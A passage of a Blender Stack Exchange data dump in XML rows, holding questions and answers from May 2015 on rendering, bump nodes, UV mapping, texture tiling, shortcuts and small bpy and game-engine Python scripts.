  <row Id="31487" PostTypeId="2" ParentId="31486" CreationDate="2015-05-26T13:00:28.697" Score="1" Body="&lt;p&gt;you are using a separate timing for the playback ( time line ) and the render ( render tab ) you have two options to render the frames you want :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Keep the timing separate and set the render timing in the render tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ky4C6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Use the same timing for playback and render by disabling the &lt;strong&gt;&lt;em&gt;alternative time range&lt;/em&gt;&lt;/strong&gt; and set the time from either the render tab or the time-line &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Edx3A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-26T13:00:28.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31489" PostTypeId="1" CreationDate="2015-05-26T14:02:43.433" Score="16" ViewCount="4727" Body="&lt;p&gt;What is the correct way to control the strength of the bump node?&lt;br&gt;&#xA;What does the &lt;em&gt;Distance Input&lt;/em&gt; on the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/vector/bump.html?highlight=bump&quot; rel=&quot;noreferrer&quot;&gt;bump node&lt;/a&gt; in cycles do?&lt;br&gt;&#xA;The manual does not make it clear.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Distance Input&lt;/strong&gt;&lt;br&gt;&#xA;      Multiplier for the height value to control the overall distance for bump mapping.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if the Distance Input is meant be used to control the depth or strength of the displacement, then what does the setting the &lt;em&gt;Strength&lt;/em&gt; setting above 1 do?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorDisplayName="user1853" LastEditDate="2017-04-06T10:39:40.923" LastActivityDate="2017-04-06T10:39:40.923" Title="Controlling the &quot;strength&quot; of cycles' Bump node" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31490" PostTypeId="2" ParentId="31489" CreationDate="2015-05-26T14:49:56.077" Score="13" Body="&lt;p&gt;Height input is where you plug in the texture. Distance input is the &quot;height&quot; of the tallest bump in blender units. Strength input is an overall scale of the height map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not normally useful to use strength, unless you want to plug the same bump map into different shaders, and some have the same features yet less bump height.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-05-26T14:49:56.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31491" PostTypeId="2" ParentId="31483" CreationDate="2015-05-26T14:55:33.463" Score="1" Body="&lt;p&gt;you have some options to try :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- just move the curve and try to approximate the result you want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VtVq9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( moved the curve a little bit down )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- use another modifiers stack to create the same shape&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FtFMz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you get the origin in the center of the circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C5IW6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the modifiers used are :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3Sao.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-26T15:00:59.017" LastActivityDate="2015-05-26T15:00:59.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31492" PostTypeId="1" CreationDate="2015-05-26T14:58:00.740" Score="1" ViewCount="104" Body="&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;from bpy.props import *&#xA;&#xA;&#xA;&#xA;class primitive_object_add(bpy.types.Operator):&#xA;    '''Add a minecraft item'''&#xA;    bl_idname = &quot;mesh.primitive_object_add&quot;&#xA;    bl_label = &quot;Add a Minecraft item&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    img_str = StringProperty(name=&quot;Path:&quot;, default=&quot;&quot;, subtype='FILE_PATH')&#xA;    opt = IntProperty(name=&quot;Option 2:&quot;)&#xA;&#xA;&#xA;&#xA;    def execute(self, context):&#xA;        if self.img_str != &quot;&quot;:&#xA;            path = r&quot;&quot; + bpy.path.abspath(self.img_str)&#xA;            image = bpy.data.images.load(path)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(&quot;mesh.primitive_object_add&quot;, text=&quot;Object&quot;, icon='OBJECT_DATA')&#xA;def register():&#xA;   bpy.utils.register_module(__name__)&#xA;   bpy.types.INFO_MT_mesh_add.append(menu_func)&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_mesh_add.remove(menu_func)&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if running this code, following happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get up the menu and everything just fine&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J2WIo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then clicking the file browser icon, which will bring up the file browser, so far everything is working.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XRYFW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now when selecting an image and pressing accept, will load the image into blender properly, but it locks/freezes the toolbar, so now I cannot change Option 2 if I would like to.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z8Xet.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent pretty much the entire day yesterday trying to fix this, but without any luck. I discovered that for some reason if you where to press &quot;Object&quot; in the add menu 2 times and then using the file browser to load in an image it works, and it will work until you close and open blender again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea on why this might be happening, and a way to fix it or go around the problem?&lt;/p&gt;&#xA;" OwnerUserId="14265" LastActivityDate="2015-05-26T16:36:50.167" Title="3D tool add-on window locks/freezes when importing an image with Python" Tags="&lt;python&gt;&lt;image&gt;&lt;properties&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31493" PostTypeId="1" CreationDate="2015-05-26T15:19:31.377" Score="4" ViewCount="11676" Body="&lt;p&gt;How can I replace the background of my scene, but keep the reflections and lighting generated from my HDRI?&lt;/p&gt;&#xA;" OwnerUserId="14626" LastEditorUserId="599" LastEditDate="2015-06-03T07:04:27.127" LastActivityDate="2015-06-03T07:17:00.480" Title="Replace background while using HDRI for lighting?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31494" PostTypeId="1" CreationDate="2015-05-26T15:42:31.047" Score="2" ViewCount="215" Body="&lt;p&gt;I'm having the exact same problem in this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/10517/textures-appearing-different-in-edit-and-object-mode&quot;&gt;Textures appearing different in Edit and Object mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my mesh does not have any modifiers at all. Anyone has any idea of what else could be doing this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V86Vy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13169" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2020-09-26T07:27:22.710" Title="Edit/Object mode texture different" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31497" PostTypeId="1" AcceptedAnswerId="31506" CreationDate="2015-05-26T16:34:32.053" Score="4" ViewCount="941" Body="&lt;p&gt;I know you can add a shortcut, but can I change the shortcut on the Add Node menu? I would like to make the &lt;kbd&gt;S&lt;/kbd&gt; key default to &lt;code&gt;Shader&lt;/code&gt; instead of to &lt;code&gt;Search&lt;/code&gt;. Can this be done? For example I want to be able to add a diffuse node using the key set: &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;D&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4OEAP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-05-27T06:14:43.273" Title="Is it possible to change shortcuts for the add menu?" Tags="&lt;shortcut&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31498" PostTypeId="2" ParentId="31471" CreationDate="2015-05-26T17:00:20.773" Score="1" Body="&lt;p&gt;Well, I once posted a question identical to this, which, funny enough wasn't in your list of duplicates. :D&#xA;I found after the whole that they actually weren't out of sync, but rather the software I used (Windows Media Player) was being laggy and played it back funny, while other players (VLC media player &amp;amp; YouTube) would do it fine! This is a possibility of you see this occuring &lt;b&gt;after&lt;/b&gt; your video is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this happens to you before rendering and only in Blender's live playback, most likely you are dropping frames. To fix this, in the toolbar if the timeline window there is a tab called &quot;playback&quot;. Open it up and click &quot;AV-SYNCING&quot;. Only click it if the checkbox next to the label isn't already checked.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-05-26T17:00:20.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31499" PostTypeId="1" AcceptedAnswerId="31500" CreationDate="2015-05-26T17:11:34.883" Score="5" ViewCount="1034" Body="&lt;p&gt;When I unwrap the character I designed, I get only a few faces visible in the UV image editor, although all the faces are selected in the 3d viewport in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those faces are probably the one I added to &quot;close&quot; the character's head (for some reason I had a hole that I closed adding faces one by one and then checked to remove doubles). Maybe it's a coincidence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is more: If I use 'circle select' (&lt;kbd&gt;C&lt;/kbd&gt; + left-click) over &quot;empties&quot; area in the UV image editor (not in island mode), I can see that faces get activated in the 3d viewport (edit mode)! Of course, I have restarted Blender to see if the problem persists and it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this weird behavior happens before I create an image. Once I create a new image or use an existing one as a UV, the meshes in the UV Image editor don't show up at all! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do all this process with the monkey figure I have no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you have a look to my blend file and tell me what's wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F7uXA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F7uXA.jpg&quot; alt=&quot;model and UVs in blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.7.4 Mac OS X 10.10.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blend file: &lt;a href=&quot;http://ge.tt/6CiWL8H2/v/0?c&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ge.tt/6CiWL8H2/v/0?c&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14623" LastEditorUserId="3078" LastEditDate="2015-05-26T20:48:01.473" LastActivityDate="2015-05-26T20:48:01.473" Title="Why won't any faces show up in the UV Image Editor?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31500" PostTypeId="2" ParentId="31499" CreationDate="2015-05-26T17:31:58.640" Score="4" Body="&lt;p&gt;You have 'UV Local View' turned on in the image editor. Go to the image editor and then View&gt; UV Local View to turn it off:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kT0hY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm don't fully understand this feature but it seems to be &lt;em&gt;mostly&lt;/em&gt; used for Blender Internal and not Cycles. There is a small discussion about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T43042&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T43042&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-05-26T20:27:17.990" LastActivityDate="2015-05-26T20:27:17.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31502" PostTypeId="1" CreationDate="2015-05-26T19:01:12.563" Score="4" ViewCount="3945" Body="&lt;p&gt;I made a scene which I now need to render, for testing purposes; is it possible for me to deactivate all the materials without having to loose them? As in hiding them in the render.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3078" LastEditDate="2015-05-26T20:52:51.690" LastActivityDate="2015-05-26T20:52:51.690" Title="How can I deactivate all the materials before rendering in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31504" PostTypeId="1" CreationDate="2015-05-26T19:04:35.337" Score="1" ViewCount="348" Body="&lt;p&gt;Where can I find a detailed explanation of this topic ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, where the lights are located, which type of lights they are, which is the illumination model, etc. &lt;/p&gt;&#xA;" OwnerDisplayName="user1395" LastEditorUserId="3078" LastEditDate="2015-05-26T20:55:29.647" LastActivityDate="2015-05-27T00:50:28.750" Title="How do the solid OpenGL lights found in the system preferences work?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31505" PostTypeId="2" ParentId="31502" CreationDate="2015-05-26T19:05:25.147" Score="7" Body="&lt;p&gt;You can assign a single material to the whole layer. The original materials will remain assigned to your objects but will be ignored at render time and will be replaced by the material specified on this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oxXHx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-26T19:05:25.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31506" PostTypeId="2" ParentId="31497" CreationDate="2015-05-26T19:22:40.773" Score="3" Body="&lt;p&gt;No, blender GUI  was not designed with that in mind, it's something I've tried to do for a long time.&#xA;We can only hope or ask developers to give us facilities to customize menu shortcuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some discussions that I started on this topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?320692-How-to-customize-this&amp;amp;highlight=&quot; rel=&quot;nofollow&quot;&gt;How to customize a Menu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?369230-Ayuda-con-los-menus&amp;amp;highlight=&quot; rel=&quot;nofollow&quot;&gt;Ayuda con los menus ( Spanish )&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Personally I think it is quite necessary because many users require this. I think we should begin to wonder where can we make requests to the developers?&lt;/p&gt;&#xA;" OwnerUserId="14630" LastEditorUserId="5113" LastEditDate="2015-05-26T19:42:19.660" LastActivityDate="2015-05-26T19:42:19.660" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31507" PostTypeId="2" ParentId="794" CreationDate="2015-05-26T21:43:21.507" Score="0" Body="&lt;p&gt;You likely need to look into Fresnel or the layer weight node. Also metal does not look like anything without something to reflect so add a HDRI light source. Last add a texture to your roughness. You might also want a good bump map.&lt;/p&gt;&#xA;" OwnerUserId="12972" LastActivityDate="2015-05-26T21:43:21.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31508" PostTypeId="1" CreationDate="2015-05-26T21:56:22.190" Score="1" ViewCount="670" Body="&lt;p&gt;How do I make steel in cycles using 2.5 as the IOR?&#xA;2.5 is the listed PBS IOR of steel but I have no idea how to make a great node metal shader in cycles using this info.&#xA;Thanks!&#xA;Douglas E Knapp&lt;/p&gt;&#xA;" OwnerUserId="12972" LastActivityDate="2015-05-27T06:49:22.520" Title="How do I make steel in cycles using 2.5 as the IOR?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31509" PostTypeId="1" CreationDate="2015-05-26T21:57:50.743" Score="5" ViewCount="4128" Body="&lt;p&gt;I was texturing an eye for an Animatronic I'm modeling from Five Nights at Freddy's. His name a Balloon Boy, and when I put the eye texture on, it becomes smaller, and begins to tile all over the eye. I want to know how to stop this.&lt;/p&gt;&#xA;" OwnerUserId="14632" LastEditorUserId="2217" LastEditDate="2015-05-26T22:32:09.743" LastActivityDate="2015-05-26T22:32:09.743" Title="How To Stop a Texture from Tiling in the BI" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31510" PostTypeId="2" ParentId="31509" CreationDate="2015-05-26T22:17:10.307" Score="5" Body="&lt;p&gt;You can change the texture 'Extension' type from 'Repeat' to 'Clip'. This option is in the 'Image Mapping' panel in the texture settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBh1P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-05-26T22:17:10.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31513" PostTypeId="2" ParentId="31351" CreationDate="2015-05-27T00:17:15.343" Score="1" Body="&lt;p&gt;Why not just access the selected object's name when you need it?  Blender panels are updated when blender re-draws.  This only happens with user interaction so blender will check the selected object at a rate that is appropriate and you never have to worry!  That's what the whole &quot;context&quot; thing is for.  Unless there is some other reason you need to monitor selection I think you might be over complicating things.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPanel(bpy.types.Panel):&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;        if len(context.selected_objects):&#xA;            ob = context.selected_objects[0]&#xA;            row.prop(ob, &quot;name&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="2772" LastEditDate="2015-05-27T15:23:12.140" LastActivityDate="2015-05-27T15:23:12.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31514" PostTypeId="1" AcceptedAnswerId="31516" CreationDate="2015-05-27T00:47:17.873" Score="3" ViewCount="2546" Body="&lt;p&gt;After creating an image using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images.new(name=&quot;NewImage2&quot;, width=512, height=512)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I set that image to the active image within the UV/Image Editor in Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o7FTz.png&quot; alt=&quot;Set Image in UV Editor Active?&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14184" LastEditorUserId="241" LastEditDate="2015-05-27T00:57:08.523" LastActivityDate="2016-07-06T18:45:28.503" Title="Active image of UV/Image Editor" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31515" PostTypeId="2" ParentId="31504" CreationDate="2015-05-27T00:50:28.750" Score="1" Body="&lt;p&gt;All three are directional lights with the direction relative to the view angle (think sun lamps parented to the camera). The direction is controlled via the direction widget:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iu2Uq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;There are no differences between the three AFAIK, three was just the number chosen to be hardcoded in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will add to each other when their areas of illumination overlap.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-27T00:50:28.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31516" PostTypeId="2" ParentId="31514" CreationDate="2015-05-27T00:56:22.610" Score="6" Body="&lt;p&gt;You loop through area till you find the UV/Image editor and set the active image to you image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas :&#xA;    if area.type == 'IMAGE_EDITOR' :&#xA;            area.spaces.active.image = my_img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-27T00:56:22.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31517" PostTypeId="1" AcceptedAnswerId="31518" CreationDate="2015-05-27T01:15:31.593" Score="12" ViewCount="10041" Body="&lt;p&gt;I'm trying to model some house siding. I'm using a single board with an array modifier. The problem is that when I go to texture them I can only texture the first one, and they all have the same texture. How can I offset the texture so that each new board on the array modifier has a different texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/uLilOf6&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/uLilOf6.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the boards are an array from a single board, and I'd like to be able to offset the texture for each new board, but have no idea how. Here's the texture I'm using (Image 2). &lt;a href=&quot;http://tinyurl.com/poyjn4u&quot; rel=&quot;noreferrer&quot;&gt;http://tinyurl.com/poyjn4u&lt;/a&gt; (CGTextures)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also (preferably) not have to apply the array modifier before offsetting the textures, but if that's not possible, that's fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The duplicated question does in no way answer my question, and is quite different. The only detailed answer is referring to generated textures, I'm using an image texture. Please explain how my question is answered in the other question marked as duplicate.&#xA;The previous person who asked a similar question to mine commented on the first answer that he could work with generated textures, I cannot use generated textures in this situation.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="5634" LastEditDate="2015-05-27T20:17:15.263" LastActivityDate="2020-05-20T14:57:54.437" Title="How to offset the texture coordinates of an object with an array modifier for mapping an image texture?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31518" PostTypeId="2" ParentId="31517" CreationDate="2015-05-27T05:45:22.687" Score="7" Body="&lt;p&gt;It needs a little tuning and tweaking with the y-location and y-scaling in the mapping node, but I think this would work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unwrap one board and make that board cover the complete image texture in the UV-image editor&lt;/li&gt;&#xA;&lt;li&gt;Make an array with offset along the y-axis&lt;/li&gt;&#xA;&lt;li&gt;Add a material to the mesh, with diffuse, image texture, mapping and texture coordinates (generated) as the image and tune and tweak the y-location and y-scaling in the mapping node.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ssdTJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-27T05:45:22.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31519" PostTypeId="2" ParentId="31497" CreationDate="2015-05-27T06:14:43.273" Score="1" Body="&lt;p&gt;The characters underlined in the menus are the shortcuts. Your attempt at &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;kbd&gt;D&lt;/kbd&gt; is close, except the shortcut for Shader is h not s - use &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;kbd&gt;H&lt;/kbd&gt;&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-27T06:14:43.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31520" PostTypeId="1" CreationDate="2015-05-27T06:30:22.430" Score="0" ViewCount="1063" Body="&lt;p&gt;So I am making my first UV-mapping and have been following a video on Youtube. &#xA;I have UV-mapped my model, baked it and colored it in photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also saved it as a PSD file and opened it in the UV-window in Blender, but the model is blank. My viewport is in texture, but the model appears to be the same as when I baked it. In the video, the texture just appeared automatically.&#xA;Am I missing something here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( I have Blender 2.74 + Photoshop CS5. I have tried opening it as a PSD file and a JPG, and I have tried changing cameras and changing to Edit mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ET4v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rOacn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14600" LastEditorDisplayName="user1853" LastEditDate="2015-05-29T19:19:04.200" LastActivityDate="2015-06-28T19:55:44.210" Title="UV Texture from Photoshop won't show" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31521" PostTypeId="2" ParentId="31508" CreationDate="2015-05-27T06:49:22.520" Score="1" Body="&lt;p&gt;The FRESNEL node connected to a the FACTOR input of a MIX node which has for example a DIFFUSE and GLOSSY input will change the reflections depending on the angle that light strikes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FRESNEL node has a panel for the IOR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chocofur.com/6-shadersamptextures.html&quot; rel=&quot;nofollow&quot;&gt;http://www.chocofur.com/6-shadersamptextures.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11281" LastActivityDate="2015-05-27T06:49:22.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31523" PostTypeId="1" AcceptedAnswerId="31524" CreationDate="2015-05-27T07:07:19.287" Score="1" ViewCount="49" Body="&lt;p&gt;I have the following for my code (working):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;    if 'Speed' in own and 'Recoil_Level' in own and 'Proportion_Size' in own:&#xA;&#xA;        speed = own['Speed']&#xA;        level = own['Recoil_Level']&#xA;        size = own['Proportion_Size']&#xA;&#xA;    else:&#xA;        print('No properties found in Weapon_Recoil_Level_Determiner')&#xA;        return&#xA;&#xA;    own['Recoil_Level']= speed / size&#xA;    print(&quot;recoil level: &quot;, own['Recoil_Level'])    &#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;def property(cont):    &#xA;    own = cont.owner&#xA;&#xA;        speed = own['Speed']&#xA;        level = own['Recoil_Level']&#xA;        size = own['Proportion_Size']&#xA;&#xA;    else:&#xA;        print('No properties found in Weapon_Recoil_Level_Determiner')&#xA;        return&#xA;&#xA;    own['Recoil_Level']= speed / size&#xA;    print(&quot;recoil level: &quot;, own['Recoil_Level'])    &#xA;&#xA;cont = logic.getCurrentController()      &#xA;property(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why won't the second one work? I am asking this because when I write scripts that include &lt;strong&gt;many&lt;/strong&gt; properties, I do not want to have a really long, ugly paragraph saying &quot;if x in 